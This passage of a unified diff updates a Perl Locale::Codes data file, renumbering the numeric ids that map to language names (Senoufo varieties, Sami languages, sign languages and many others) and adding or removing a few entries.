       q(Sekani),
       ],
-   q(5965) => [
+   q(5964) => [
       q(Nanerige Senoufo),
       ],
-   q(5966) => [
+   q(5965) => [
       q(Suarmin),
       ],
-   q(5967) => [
+   q(5966) => [
       q(Sicite Senoufo),
       ],
-   q(5968) => [
+   q(5967) => [
       q(Senara Senoufo),
       ],
-   q(5969) => [
+   q(5968) => [
       q(Serrano),
       ],
-   q(5970) => [
+   q(5969) => [
       q(Koyraboro Senni Songhai),
       ],
-   q(5971) => [
+   q(5970) => [
       q(Sentani),
       ],
-   q(5972) => [
+   q(5971) => [
       q(Serui-Laut),
       ],
-   q(5973) => [
+   q(5972) => [
       q(Nyarafolo Senoufo),
       ],
-   q(5974) => [
+   q(5973) => [
       q(Sewa Bay),
       ],
-   q(5975) => [
+   q(5974) => [
       q(Secoya),
       ],
-   q(5976) => [
+   q(5975) => [
       q(Senthang Chin),
       ],
-   q(5977) => [
+   q(5976) => [
       q(Langue des signes de Belgique Francophone),
       q(French Belgian Sign Language),
       ],
-   q(5978) => [
+   q(5977) => [
       q(Eastern Subanen),
       ],
-   q(5979) => [
+   q(5978) => [
       q(Small Flowery Miao),
       ],
-   q(5980) => [
+   q(5979) => [
       q(South African Sign Language),
       ],
-   q(5981) => [
+   q(5980) => [
       q(Sehwi),
       ],
-   q(5982) => [
+   q(5981) => [
       q(Mag-antsi Ayta),
       ],
-   q(5983) => [
+   q(5982) => [
       q(Kipsigis),
       ],
-   q(5984) => [
+   q(5983) => [
       q(Surigaonon),
       ],
-   q(5985) => [
+   q(5984) => [
       q(Segai),
       ],
-   q(5986) => [
+   q(5985) => [
       q(Swiss-German Sign Language),
       ],
-   q(5987) => [
+   q(5986) => [
       q(Shughni),
       ],
-   q(5988) => [
+   q(5987) => [
       q(Suga),
       ],
-   q(5989) => [
+   q(5988) => [
       q(Surgujia),
       ],
-   q(5990) => [
+   q(5989) => [
       q(Sangkong),
       ],
-   q(5991) => [
+   q(5990) => [
       q(Singa),
       ],
-   q(5992) => [
+   q(5991) => [
       q(Singpho),
       ],
-   q(5993) => [
+   q(5992) => [
       q(Sangisari),
       ],
-   q(5994) => [
+   q(5993) => [
       q(Samogitian),
       ],
-   q(5995) => [
+   q(5994) => [
       q(Brokpake),
       ],
-   q(5996) => [
+   q(5995) => [
       q(Salas),
       ],
-   q(5997) => [
+   q(5996) => [
       q(Sebat Bet Gurage),
       ],
-   q(5998) => [
+   q(5997) => [
       q(Sierra Leone Sign Language),
       ],
-   q(5999) => [
+   q(5998) => [
       q(Sanglechi),
       ],
-   q(6000) => [
+   q(5999) => [
       q(Sursurunga),
       ],
-   q(6001) => [
+   q(6000) => [
       q(Shall-Zwall),
       ],
-   q(6002) => [
+   q(6001) => [
       q(Ninam),
       ],
-   q(6003) => [
+   q(6002) => [
       q(Sonde),
       ],
-   q(6004) => [
+   q(6003) => [
       q(Kundal Shahi),
       ],
-   q(6005) => [
+   q(6004) => [
       q(Sheko),
       ],
-   q(6006) => [
+   q(6005) => [
       q(Shua),
       ],
-   q(6007) => [
+   q(6006) => [
       q(Shoshoni),
       ],
-   q(6008) => [
+   q(6007) => [
       q(Tachelhit),
       ],
-   q(6009) => [
+   q(6008) => [
       q(Shatt),
       ],
-   q(6010) => [
+   q(6009) => [
       q(Shilluk),
       ],
-   q(6011) => [
+   q(6010) => [
       q(Shendu),
       ],
-   q(6012) => [
+   q(6011) => [
       q(Shahrudi),
       ],
-   q(6013) => [
+   q(6012) => [
       q(Shanga),
       ],
-   q(6014) => [
+   q(6013) => [
       q(Shipibo-Conibo),
       ],
-   q(6015) => [
+   q(6014) => [
       q(Sala),
       ],
-   q(6016) => [
+   q(6015) => [
       q(Shi),
       ],
-   q(6017) => [
+   q(6016) => [
       q(Shuswap),
       ],
-   q(6018) => [
+   q(6017) => [
       q(Shasta),
       ],
-   q(6019) => [
+   q(6018) => [
       q(Chadian Arabic),
       ],
-   q(6020) => [
+   q(6019) => [
       q(Shehri),
       ],
-   q(6021) => [
+   q(6020) => [
       q(Shwai),
       ],
-   q(6022) => [
+   q(6021) => [
       q(She),
       ],
-   q(6023) => [
+   q(6022) => [
       q(Tachawit),
       ],
-   q(6024) => [
+   q(6023) => [
       q(Syenara Senoufo),
       ],
-   q(6025) => [
+   q(6024) => [
       q(Akkala Sami),
       ],
-   q(6026) => [
+   q(6025) => [
       q(Sebop),
       ],
-   q(6027) => [
+   q(6026) => [
       q(Simaa),
       ],
-   q(6028) => [
+   q(6027) => [
       q(Siamou),
       ],
-   q(6029) => [
+   q(6028) => [
       q(Paasaal),
       ],
-   q(6030) => [
+   q(6029) => [
       q(Zire),
       q(Sishee),
       ],
-   q(6031) => [
+   q(6030) => [
       q(Shom Peng),
       ],
-   q(6032) => [
+   q(6031) => [
       q(Numbami),
       ],
-   q(6033) => [
+   q(6032) => [
       q(Sikiana),
       ],
-   q(6034) => [
+   q(6033) => [
       q(Tumulung Sisaala),
       ],
-   q(6035) => [
+   q(6034) => [
       q(Mende (Papua New Guinea)),
       ],
-   q(6036) => [
+   q(6035) => [
       q(Sikkimese),
       ],
-   q(6037) => [
+   q(6036) => [
       q(Sonia),
       ],
-   q(6038) => [
+   q(6037) => [
       q(Siri),
       ],
-   q(6039) => [
+   q(6038) => [
       q(Siuslaw),
       ],
-   q(6040) => [
+   q(6039) => [
       q(Sinagen),
       ],
-   q(6041) => [
+   q(6040) => [
       q(Sumariup),
       ],
-   q(6042) => [
+   q(6041) => [
       q(Siwai),
       ],
-   q(6043) => [
+   q(6042) => [
       q(Sumau),
       ],
-   q(6044) => [
+   q(6043) => [
       q(Sivandi),
       ],
-   q(6045) => [
+   q(6044) => [
       q(Siwi),
       ],
-   q(6046) => [
+   q(6045) => [
       q(Epena),
       ],
-   q(6047) => [
+   q(6046) => [
       q(Sajau Basap),
       ],
-   q(6048) => [
+   q(6047) => [
       q(Kildin Sami),
       ],
-   q(6049) => [
+   q(6048) => [
       q(Pite Sami),
       ],
-   q(6050) => [
+   q(6049) => [
       q(Assangori),
       ],
-   q(6051) => [
+   q(6050) => [
       q(Kemi Sami),
       ],
-   q(6052) => [
+   q(6051) => [
       q(Sajalong),
       q(Miji),
       ],
-   q(6053) => [
+   q(6052) => [
       q(Mapun),
       ],
-   q(6054) => [
+   q(6053) => [
       q(Sindarin),
       ],
-   q(6055) => [
+   q(6054) => [
       q(Xibe),
       ],
-   q(6056) => [
+   q(6055) => [
       q(Surjapuri),
       ],
-   q(6057) => [
+   q(6056) => [
       q(Siar-Lak),
       ],
-   q(6058) => [
+   q(6057) => [
       q(Senhaja De Srair),
       ],
-   q(6059) => [
+   q(6058) => [
       q(Ter Sami),
       ],
-   q(6060) => [
+   q(6059) => [
       q(Ume Sami),
       ],
-   q(6061) => [
+   q(6060) => [
       q(Shawnee),
       ],
-   q(6062) => [
+   q(6061) => [
       q(Skagit),
       ],
-   q(6063) => [
+   q(6062) => [
       q(Saek),
       ],
-   q(6064) => [
+   q(6063) => [
       q(Ma Manda),
       ],
-   q(6065) => [
+   q(6064) => [
       q(Southern Sierra Miwok),
       ],
-   q(6066) => [
+   q(6065) => [
       q(Seke (Vanuatu)),
       ],
-   q(6067) => [
+   q(6066) => [
       q(Sakirabia),
       ],
-   q(6068) => [
+   q(6067) => [
       q(Sakalava Malagasy),
       ],
-   q(6069) => [
+   q(6068) => [
       q(Sikule),
       ],
-   q(6070) => [
+   q(6069) => [
       q(Sika),
       ],
-   q(6071) => [
+   q(6070) => [
       q(Seke (Nepal)),
       ],
+   q(6071) => [
+      q(Sok),
+      ],
    q(6072) => [
       q(Kutong),
       ],
@@ -18720,654 +18712,654 @@ $Locale::Codes::Data{'language'}{'id2names'} = {
       q(Sanga (Democratic Republic of Congo)),
       ],
    q(6130) => [
-      q(Sensi),
+      q(Shinabo),
       ],
    q(6131) => [
-      q(Riverain Sango),
+      q(Sensi),
       ],
    q(6132) => [
-      q(Sangil),
+      q(Riverain Sango),
       ],
    q(6133) => [
-      q(Southern Ma'di),
+      q(Sangil),
       ],
    q(6134) => [
-      q(Siona),
+      q(Southern Ma'di),
       ],
    q(6135) => [
-      q(Snohomish),
+      q(Siona),
       ],
    q(6136) => [
-      q(Siane),
+      q(Snohomish),
       ],
    q(6137) => [
-      q(Sangu (Gabon)),
+      q(Siane),
       ],
    q(6138) => [
-      q(Sihan),
+      q(Sangu (Gabon)),
       ],
    q(6139) => [
+      q(Sihan),
+      ],
+   q(6140) => [
       q(South West Bay),
       q(Nahavaq),
       ],
-   q(6140) => [
+   q(6141) => [
       q(Senggi),
       q(Viid),
       ],
-   q(6141) => [
+   q(6142) => [
       q(Sa'ban),
       ],
-   q(6142) => [
+   q(6143) => [
       q(Selee),
       ],
-   q(6143) => [
+   q(6144) => [
       q(Sam),
       ],
-   q(6144) => [
+   q(6145) => [
       q(Saniyo-Hiyewe),
       ],
-   q(6145) => [
+   q(6146) => [
       q(Sinsauru),
       ],
-   q(6146) => [
+   q(6147) => [
       q(Thai Song),
       ],
-   q(6147) => [
+   q(6148) => [
       q(Sobei),
       ],
-   q(6148) => [
+   q(6149) => [
       q(So (Democratic Republic of Congo)),
       ],
-   q(6149) => [
+   q(6150) => [
       q(Songoora),
       ],
-   q(6150) => [
+   q(6151) => [
       q(Songomeno),
       ],
-   q(6151) => [
+   q(6152) => [
       q(Aka),
       ],
-   q(6152) => [
+   q(6153) => [
       q(Sonha),
       ],
-   q(6153) => [
+   q(6154) => [
       q(Soi),
       ],
-   q(6154) => [
+   q(6155) => [
       q(Sokoro),
       ],
-   q(6155) => [
+   q(6156) => [
       q(Solos),
       ],
-   q(6156) => [
+   q(6157) => [
       q(Songo),
       ],
-   q(6157) => [
+   q(6158) => [
       q(Songe),
       ],
-   q(6158) => [
+   q(6159) => [
       q(Kanasi),
       ],
-   q(6159) => [
+   q(6160) => [
       q(Somrai),
       ],
-   q(6160) => [
+   q(6161) => [
       q(Seeku),
       ],
-   q(6161) => [
+   q(6162) => [
       q(Southern Thai),
       ],
-   q(6162) => [
+   q(6163) => [
       q(Sonsorol),
       ],
-   q(6163) => [
+   q(6164) => [
       q(Sowanda),
       ],
-   q(6164) => [
+   q(6165) => [
       q(Swo),
       ],
-   q(6165) => [
+   q(6166) => [
       q(Miyobe),
       ],
-   q(6166) => [
+   q(6167) => [
       q(Temi),
       ],
-   q(6167) => [
+   q(6168) => [
       q(Sepa (Indonesia)),
       ],
-   q(6168) => [
+   q(6169) => [
       q(Sape),
       ],
-   q(6169) => [
+   q(6170) => [
       q(Saep),
       ],
-   q(6170) => [
+   q(6171) => [
       q(Sepa (Papua New Guinea)),
       ],
-   q(6171) => [
+   q(6172) => [
       q(Sian),
       ],
-   q(6172) => [
+   q(6173) => [
       q(Saponi),
       ],
-   q(6173) => [
+   q(6174) => [
       q(Sengo),
       ],
-   q(6174) => [
+   q(6175) => [
       q(Selepet),
       ],
-   q(6175) => [
+   q(6176) => [
       q(Akukem),
       ],
-   q(6176) => [
+   q(6177) => [
       q(Sanapana),
       ],
-   q(6177) => [
+   q(6178) => [
       q(Spokane),
       ],
-   q(6178) => [
+   q(6179) => [
       q(Supyire Senoufo),
       ],
-   q(6179) => [
+   q(6180) => [
       q(Loreto-Ucayali Spanish),
       ],
-   q(6180) => [
+   q(6181) => [
       q(Saparua),
       ],
-   q(6181) => [
+   q(6182) => [
       q(Saposa),
       ],
-   q(6182) => [
+   q(6183) => [
       q(Spiti Bhoti),
       ],
-   q(6183) => [
+   q(6184) => [
       q(Sapuan),
       ],
-   q(6184) => [
+   q(6185) => [
       q(Sambalpuri),
       q(Kosli),
       ],
-   q(6185) => [
+   q(6186) => [
       q(South Picene),
       ],
-   q(6186) => [
+   q(6187) => [
       q(Sabaot),
       ],
-   q(6187) => [
+   q(6188) => [
       q(Shama-Sambuga),
       ],
-   q(6188) => [
+   q(6189) => [
       q(Shau),
       ],
-   q(6189) => [
+   q(6190) => [
       q(Albanian Sign Language),
       ],
-   q(6190) => [
+   q(6191) => [
       q(Suma),
       ],
-   q(6191) => [
+   q(6192) => [
       q(Susquehannock),
       ],
-   q(6192) => [
+   q(6193) => [
       q(Sorkhei),
       ],
-   q(6193) => [
+   q(6194) => [
       q(Sou),
       ],
-   q(6194) => [
+   q(6195) => [
       q(Siculo Arabic),
       ],
-   q(6195) => [
+   q(6196) => [
       q(Sri Lankan Sign Language),
       ],
-   q(6196) => [
+   q(6197) => [
       q(Soqotri),
       ],
-   q(6197) => [
+   q(6198) => [
       q(Squamish),
       ],
-   q(6198) => [
+   q(6199) => [
       q(Saruga),
       ],
-   q(6199) => [
+   q(6200) => [
       q(Sora),
       ],
-   q(6200) => [
+   q(6201) => [
       q(Logudorese Sardinian),
       ],
-   q(6201) => [
+   q(6202) => [
       q(Sara),
       ],
-   q(6202) => [
+   q(6203) => [
       q(Nafi),
       ],
-   q(6203) => [
+   q(6204) => [
       q(Sulod),
       ],
-   q(6204) => [
+   q(6205) => [
       q(Sarikoli),
       ],
-   q(6205) => [
+   q(6206) => [
       q(Siriano),
       ],
-   q(6206) => [
+   q(6207) => [
       q(Serudung Murut),
       ],
-   q(6207) => [
+   q(6208) => [
       q(Isirawa),
       ],
-   q(6208) => [
+   q(6209) => [
       q(Saramaccan),
       ],
-   q(6209) => [
+   q(6210) => [
       q(Campidanese Sardinian),
       ],
-   q(6210) => [
+   q(6211) => [
       q(Siriono),
       ],
-   q(6211) => [
+   q(6212) => [
       q(Sarsi),
       ],
-   q(6212) => [
+   q(6213) => [
       q(Sauri),
       ],
-   q(6213) => [
+   q(6214) => [
       q(Surui),
       ],
-   q(6214) => [
+   q(6215) => [
       q(Southern Sorsoganon),
       ],
-   q(6215) => [
+   q(6216) => [
       q(Serua),
       ],
-   q(6216) => [
+   q(6217) => [
       q(Sirmauri),
       ],
-   q(6217) => [
+   q(6218) => [
       q(Sera),
       ],
-   q(6218) => [
+   q(6219) => [
       q(Shahmirzadi),
       ],
-   q(6219) => [
+   q(6220) => [
       q(Southern Sama),
       ],
-   q(6220) => [
+   q(6221) => [
       q(Suba-Simbiti),
       ],
-   q(6221) => [
+   q(6222) => [
       q(Siroi),
       ],
-   q(6222) => [
+   q(6223) => [
       q(Balangingi),
       q(Bangingih Sama),
       ],
-   q(6223) => [
+   q(6224) => [
       q(Thao),
       ],
-   q(6224) => [
+   q(6225) => [
       q(Seimat),
       ],
-   q(6225) => [
+   q(6226) => [
       q(Shihhi Arabic),
       ],
-   q(6226) => [
+   q(6227) => [
       q(Sansi),
       ],
-   q(6227) => [
+   q(6228) => [
       q(Sausi),
       ],
-   q(6228) => [
+   q(6229) => [
       q(Sunam),
       ],
-   q(6229) => [
+   q(6230) => [
       q(Western Sisaala),
       ],
-   q(6230) => [
+   q(6231) => [
       q(Semnam),
       ],
-   q(6231) => [
+   q(6232) => [
       q(Waata),
       ],
-   q(6232) => [
+   q(6233) => [
       q(Sissano),
       ],
-   q(6233) => [
+   q(6234) => [
       q(Spanish Sign Language),
       ],
-   q(6234) => [
+   q(6235) => [
       q(So'a),
       ],
-   q(6235) => [
+   q(6236) => [
       q(Swiss-French Sign Language),
       ],
-   q(6236) => [
+   q(6237) => [
       q(So),
       ],
-   q(6237) => [
+   q(6238) => [
       q(Sinasina),
       ],
-   q(6238) => [
+   q(6239) => [
       q(Susuami),
       ],
-   q(6239) => [
+   q(6240) => [
       q(Shark Bay),
       ],
-   q(6240) => [
+   q(6241) => [
       q(Samberigi),
       ],
-   q(6241) => [
+   q(6242) => [
       q(Saho),
       ],
-   q(6242) => [
+   q(6243) => [
       q(Sengseng),
       ],
-   q(6243) => [
+   q(6244) => [
       q(Settla),
       ],
-   q(6244) => [
+   q(6245) => [
       q(Northern Subanen),
       ],
-   q(6245) => [
+   q(6246) => [
       q(Sentinel),
       ],
-   q(6246) => [
+   q(6247) => [
       q(Liana-Seti),
       ],
-   q(6247) => [
+   q(6248) => [
       q(Seta),
       ],
-   q(6248) => [
+   q(6249) => [
       q(Trieng),
       ],
-   q(6249) => [
+   q(6250) => [
       q(Shelta),
       ],
-   q(6250) => [
+   q(6251) => [
       q(Bulo Stieng),
       ],
-   q(6251) => [
+   q(6252) => [
       q(Matya Samo),
       ],
-   q(6252) => [
+   q(6253) => [
       q(Arammba),
       ],
-   q(6253) => [
+   q(6254) => [
       q(Stellingwerfs),
       ],
-   q(6254) => [
+   q(6255) => [
       q(Setaman),
       ],
-   q(6255) => [
+   q(6256) => [
       q(Owa),
       ],
-   q(6256) => [
+   q(6257) => [
       q(Stoney),
       ],
-   q(6257) => [
+   q(6258) => [
       q(Southeastern Tepehuan),
       ],
-   q(6258) => [
+   q(6259) => [
       q(Saterfriesisch),
       ],
-   q(6259) => [
+   q(6260) => [
       q(Straits Salish),
       ],
-   q(6260) => [
+   q(6261) => [
       q(Shumashti),
       ],
-   q(6261) => [
+   q(6262) => [
       q(Budeh Stieng),
       ],
-   q(6262) => [
+   q(6263) => [
       q(Samtao),
       ],
-   q(6263) => [
+   q(6264) => [
       q(Silt'e),
       ],
-   q(6264) => [
+   q(6265) => [
       q(Satawalese),
       ],
-   q(6265) => [
+   q(6266) => [
       q(Siberian Tatar),
       ],
-   q(6266) => [
+   q(6267) => [
       q(Sulka),
       ],
-   q(6267) => [
+   q(6268) => [
       q(Suku),
       ],
-   q(6268) => [
+   q(6269) => [
       q(Western Subanon),
       ],
-   q(6269) => [
+   q(6270) => [
       q(Suena),
       ],
-   q(6270) => [
+   q(6271) => [
       q(Suganga),
       ],
-   q(6271) => [
+   q(6272) => [
       q(Suki),
       ],
-   q(6272) => [
+   q(6273) => [
       q(Shubi),
       ],
-   q(6273) => [
+   q(6274) => [
       q(Suri),
       ],
-   q(6274) => [
+   q(6275) => [
       q(Mwaghavul),
       ],
-   q(6275) => [
+   q(6276) => [
       q(Subtiaba),
       ],
-   q(6276) => [
+   q(6277) => [
       q(Puroik),
       ],
-   q(6277) => [
+   q(6278) => [
       q(Sumbwa),
       ],
-   q(6278) => [
+   q(6279) => [
       q(Suya),
       ],
-   q(6279) => [
+   q(6280) => [
       q(Sunwar),
       ],
-   q(6280) => [
+   q(6281) => [
       q(Svan),
       ],
-   q(6281) => [
+   q(6282) => [
       q(Ulau-Suain),
       ],
-   q(6282) => [
+   q(6283) => [
       q(Vincentian Creole English),
       ],
-   q(6283) => [
+   q(6284) => [
       q(Serili),
       ],
-   q(6284) => [
+   q(6285) => [
       q(Slovakian Sign Language),
       ],
-   q(6285) => [
+   q(6286) => [
       q(Slavomolisano),
       ],
-   q(6286) => [
+   q(6287) => [
       q(Savosavo),
       ],
-   q(6287) => [
+   q(6288) => [
       q(Skalvian),
       ],
-   q(6288) => [
+   q(6289) => [
       q(Maore Comorian),
       ],
-   q(6289) => [
+   q(6290) => [
       q(Congo Swahili),
       ],
-   q(6290) => [
+   q(6291) => [
       q(Sere),
       ],
-   q(6291) => [
+   q(6292) => [
       q(Swabian),
       ],
-   q(6292) => [
+   q(6293) => [
       q(Swahili (individual language)),
       q(Kiswahili),
       ],
-   q(6293) => [
-      q(Sui),
-      ],
    q(6294) => [
-      q(Sira),
+      q(Sui),
       ],
    q(6295) => [
-      q(Malawi Sena),
+      q(Sira),
       ],
    q(6296) => [
-      q(Swedish Sign Language),
+      q(Malawi Sena),
       ],
    q(6297) => [
-      q(Samosa),
+      q(Swedish Sign Language),
       ],
    q(6298) => [
-      q(Sawknah),
+      q(Samosa),
       ],
    q(6299) => [
-      q(Shanenawa),
+      q(Sawknah),
       ],
    q(6300) => [
-      q(Suau),
+      q(Shanenawa),
       ],
    q(6301) => [
-      q(Sharwa),
+      q(Suau),
       ],
    q(6302) => [
-      q(Saweru),
+      q(Sharwa),
       ],
    q(6303) => [
-      q(Seluwasan),
+      q(Saweru),
       ],
    q(6304) => [
-      q(Sawila),
+      q(Seluwasan),
       ],
    q(6305) => [
-      q(Suwawa),
+      q(Sawila),
       ],
    q(6306) => [
-      q(Shekhawati),
+      q(Suwawa),
       ],
    q(6307) => [
-      q(Sowa),
+      q(Shekhawati),
       ],
    q(6308) => [
-      q(Suruaha),
+      q(Sowa),
       ],
    q(6309) => [
-      q(Sarua),
+      q(Suruaha),
       ],
    q(6310) => [
-      q(Suba),
+      q(Sarua),
       ],
    q(6311) => [
-      q(Sicanian),
+      q(Suba),
       ],
    q(6312) => [
-      q(Sighu),
+      q(Sicanian),
       ],
    q(6313) => [
-      q(Shixing),
+      q(Sighu),
       ],
    q(6314) => [
-      q(Southern Kalapuya),
+      q(Shixing),
       ],
    q(6315) => [
-      q(Selian),
+      q(Southern Kalapuya),
       ],
    q(6316) => [
-      q(Samre),
+      q(Selian),
       ],
    q(6317) => [
-      q(Sangir),
+      q(Samre),
       ],
    q(6318) => [
-      q(Sorothaptic),
+      q(Sangir),
       ],
    q(6319) => [
-      q(Saaroa),
+      q(Sorothaptic),
       ],
    q(6320) => [
-      q(Sasaru),
+      q(Saaroa),
       ],
    q(6321) => [
-      q(Upper Saxon),
+      q(Sasaru),
       ],
    q(6322) => [
-      q(Saxwe Gbe),
+      q(Upper Saxon),
       ],
    q(6323) => [
-      q(Siang),
+      q(Saxwe Gbe),
       ],
    q(6324) => [
-      q(Central Subanen),
+      q(Siang),
       ],
    q(6325) => [
-      q(Seki),
+      q(Central Subanen),
       ],
    q(6326) => [
-      q(Sukur),
+      q(Seki),
       ],
    q(6327) => [
-      q(Sylheti),
+      q(Sukur),
       ],
    q(6328) => [
-      q(Maya Samo),
+      q(Sylheti),
       ],
    q(6329) => [
-      q(Senaya),
+      q(Maya Samo),
       ],
    q(6330) => [
-      q(Suoy),
+      q(Senaya),
       ],
    q(6331) => [
-      q(Sinyar),
+      q(Suoy),
       ],
    q(6332) => [
-      q(Kagate),
+      q(Sinyar),
       ],
    q(6333) => [
-      q(Samay),
+      q(Kagate),
       ],
    q(6334) => [
-      q(Al-Sayyid Bedouin Sign Language),
+      q(Samay),
       ],
    q(6335) => [
-      q(Semelai),
+      q(Al-Sayyid Bedouin Sign Language),
       ],
    q(6336) => [
-      q(Ngalum),
+      q(Semelai),
       ],
    q(6337) => [
-      q(Semaq Beri),
+      q(Ngalum),
       ],
    q(6338) => [
-      q(Seru),
+      q(Semaq Beri),
       ],
    q(6339) => [
-      q(Seze),
+      q(Seru),
       ],
    q(6340) => [
-      q(Sengele),
+      q(Seze),
       ],
    q(6341) => [
-      q(Silesian),
+      q(Sengele),
       ],
    q(6342) => [
-      q(Sula),
+      q(Silesian),
       ],
    q(6343) => [
-      q(Suabo),
+      q(Sula),
       ],
    q(6344) => [
-      q(Solomon Islands Sign Language),
+      q(Suabo),
       ],
    q(6345) => [
       q(Isu (Fako Division)),
@@ -20947,3327 +20939,3317 @@ $Locale::Codes::Data{'language'}{'id2names'} = {
       q(Ukhwejo),
       ],
    q(6867) => [
-      q(Muak Sa-aak),
-      ],
-   q(6868) => [
       q(Ukrainian Sign Language),
       ],
-   q(6869) => [
+   q(6868) => [
       q(Ukpe-Bayobiri),
       ],
-   q(6870) => [
+   q(6869) => [
       q(Ukwa),
       ],
-   q(6871) => [
+   q(6870) => [
       q(Urubu-Kaapor Sign Language),
       q(Kaapor Sign Language),
       ],
-   q(6872) => [
+   q(6871) => [
       q(Ukue),
       ],
-   q(6873) => [
+   q(6872) => [
       q(Ukwuani-Aboh-Ndoni),
       ],
-   q(6874) => [
+   q(6873) => [
       q(Kuuk-Yak),
       ],
-   q(6875) => [
+   q(6874) => [
       q(Fungwa),
       ],
-   q(6876) => [
+   q(6875) => [
       q(Ulukwumi),
       ],
-   q(6877) => [
+   q(6876) => [
       q(Ulch),
       ],
-   q(6878) => [
+   q(6877) => [
       q(Lule),
       ],
-   q(6879) => [
+   q(6878) => [
       q(Usku),
       q(Afra),
       ],
-   q(6880) => [
+   q(6879) => [
       q(Ulithian),
       ],
-   q(6881) => [
+   q(6880) => [
       q(Meriam),
       ],
-   q(6882) => [
+   q(6881) => [
       q(Ullatan),
       ],
-   q(6883) => [
+   q(6882) => [
       q(Ulumanda'),
       ],
-   q(6884) => [
+   q(6883) => [
       q(Unserdeutsch),
       ],
-   q(6885) => [
+   q(6884) => [
       q(Uma' Lung),
       ],
-   q(6886) => [
+   q(6885) => [
       q(Ulwa),
       ],
-   q(6887) => [
+   q(6886) => [
       q(Umatilla),
       ],
-   q(6888) => [
+   q(6887) => [
       q(Marrucinian),
       ],
-   q(6889) => [
+   q(6888) => [
       q(Umbindhamu),
       ],
-   q(6890) => [
+   q(6889) => [
       q(Umbuygamu),
       ],
-   q(6891) => [
+   q(6890) => [
       q(Ukit),
       ],
-   q(6892) => [
+   q(6891) => [
       q(Umon),
       ],
-   q(6893) => [
+   q(6892) => [
       q(Makyan Naga),
       ],
-   q(6894) => [
+   q(6893) => [
       q(Umotina),
       ],
-   q(6895) => [
+   q(6894) => [
       q(Umpila),
       ],
-   q(6896) => [
+   q(6895) => [
       q(Umbugarla),
       ],
-   q(6897) => [
+   q(6896) => [
       q(Pendau),
       ],
-   q(6898) => [
+   q(6897) => [
       q(Munsee),
       ],
-   q(6899) => [
+   q(6898) => [
       q(North Watut),
       ],
-   q(6900) => [
+   q(6899) => [
       q(Uneme),
       ],
-   q(6901) => [
+   q(6900) => [
       q(Ngarinyin),
       ],
-   q(6902) => [
+   q(6901) => [
       q(Enawene-Nawe),
       ],
-   q(6903) => [
+   q(6902) => [
       q(Unami),
       ],
-   q(6904) => [
+   q(6903) => [
       q(Kurnai),
       ],
-   q(6905) => [
+   q(6904) => [
       q(Mundari),
       ],
-   q(6906) => [
+   q(6905) => [
       q(Unubahe),
       ],
-   q(6907) => [
+   q(6906) => [
       q(Munda),
       ],
-   q(6908) => [
+   q(6907) => [
       q(Unde Kaili),
       ],
-   q(6909) => [
+   q(6908) => [
       q(Umeda),
       ],
-   q(6910) => [
+   q(6909) => [
       q(Uripiv-Wala-Rano-Atchin),
       ],
-   q(6911) => [
+   q(6910) => [
       q(Urarina),
       ],
-   q(6912) => [
+   q(6911) => [
       q(Urubu-Kaapor),
       q(Kaapor),
       ],
-   q(6913) => [
+   q(6912) => [
       q(Urningangg),
       ],
-   q(6914) => [
+   q(6913) => [
       q(Uru),
       ],
-   q(6915) => [
+   q(6914) => [
       q(Uradhi),
       ],
-   q(6916) => [
+   q(6915) => [
       q(Urigina),
       ],
-   q(6917) => [
+   q(6916) => [
       q(Urhobo),
       ],
-   q(6918) => [
+   q(6917) => [
       q(Urim),
       ],
-   q(6919) => [
+   q(6918) => [
       q(Urak Lawoi'),
       ],
-   q(6920) => [
+   q(6919) => [
       q(Urali),
       ],
-   q(6921) => [
+   q(6920) => [
       q(Urapmin),
       ],
-   q(6922) => [
+   q(6921) => [
       q(Uruangnirin),
       ],
-   q(6923) => [
+   q(6922) => [
       q(Ura (Papua New Guinea)),
       ],
-   q(6924) => [
+   q(6923) => [
       q(Uru-Pa-In),
       ],
-   q(6925) => [
+   q(6924) => [
       q(Lehalurup),
       q(Loyop),
       ],
-   q(6926) => [
+   q(6925) => [
       q(Urat),
       ],
-   q(6927) => [
+   q(6926) => [
       q(Urumi),
       ],
-   q(6928) => [
+   q(6927) => [
       q(Uruava),
       ],
-   q(6929) => [
+   q(6928) => [
       q(Sop),
       ],
-   q(6930) => [
+   q(6929) => [
       q(Urimo),
       ],
-   q(6931) => [
+   q(6930) => [
       q(Orya),
       ],
-   q(6932) => [
+   q(6931) => [
       q(Uru-Eu-Wau-Wau),
       ],
-   q(6933) => [
+   q(6932) => [
       q(Usarufa),
       ],
-   q(6934) => [
+   q(6933) => [
       q(Ushojo),
       ],
-   q(6935) => [
+   q(6934) => [
       q(Usui),
       ],
-   q(6936) => [
+   q(6935) => [
       q(Usaghade),
       ],
-   q(6937) => [
+   q(6936) => [
       q(Uspanteco),
       ],
-   q(6938) => [
+   q(6937) => [
       q(Uya),
       ],
-   q(6939) => [
+   q(6938) => [
       q(Otank),
       ],
-   q(6940) => [
+   q(6939) => [
       q(Ute-Southern Paiute),
       ],
-   q(6941) => [
+   q(6940) => [
       q(Amba (Solomon Islands)),
       ],
-   q(6942) => [
+   q(6941) => [
       q(Etulo),
       ],
-   q(6943) => [
+   q(6942) => [
       q(Utu),
       ],
-   q(6944) => [
+   q(6943) => [
       q(Urum),
       ],
-   q(6945) => [
+   q(6944) => [
       q(Kulon-Pazeh),
       ],
-   q(6946) => [
+   q(6945) => [
       q(Ura (Vanuatu)),
       ],
-   q(6947) => [
+   q(6946) => [
       q(U),
       ],
-   q(6948) => [
+   q(6947) => [
       q(West Uvean),
       q(Fagauvea),
       ],
-   q(6949) => [
+   q(6948) => [
       q(Uri),
       ],
-   q(6950) => [
+   q(6949) => [
       q(Lote),
       ],
-   q(6951) => [
+   q(6950) => [
       q(Kuku-Uwanh),
       ],
-   q(6952) => [
+   q(6951) => [
       q(Doko-Uyanga),
       ],
-   q(6953) => [
+   q(6952) => [
       q(Northern Uzbek),
       ],
-   q(6954) => [
+   q(6953) => [
       q(Southern Uzbek),
       ],
-   q(6955) => [
+   q(6954) => [
       q(Vaagri Booli),
       ],
-   q(6956) => [
+   q(6955) => [
       q(Vale),
       ],
-   q(6957) => [
+   q(6956) => [
       q(Vafsi),
       ],
-   q(6958) => [
+   q(6957) => [
       q(Vagla),
       ],
-   q(6959) => [
+   q(6958) => [
       q(Varhadi-Nagpuri),
       ],
-   q(6960) => [
+   q(6959) => [
       q(Sekele),
       q(Northwestern Kung),
       q(Vasekele),
       ],
-   q(6961) => [
+   q(6960) => [
       q(Vehes),
       ],
-   q(6962) => [
+   q(6961) => [
       q(Vanimo),
       ],
-   q(6963) => [
+   q(6962) => [
       q(Valman),
       ],
-   q(6964) => [
+   q(6963) => [
       q(Vao),
       ],
-   q(6965) => [
+   q(6964) => [
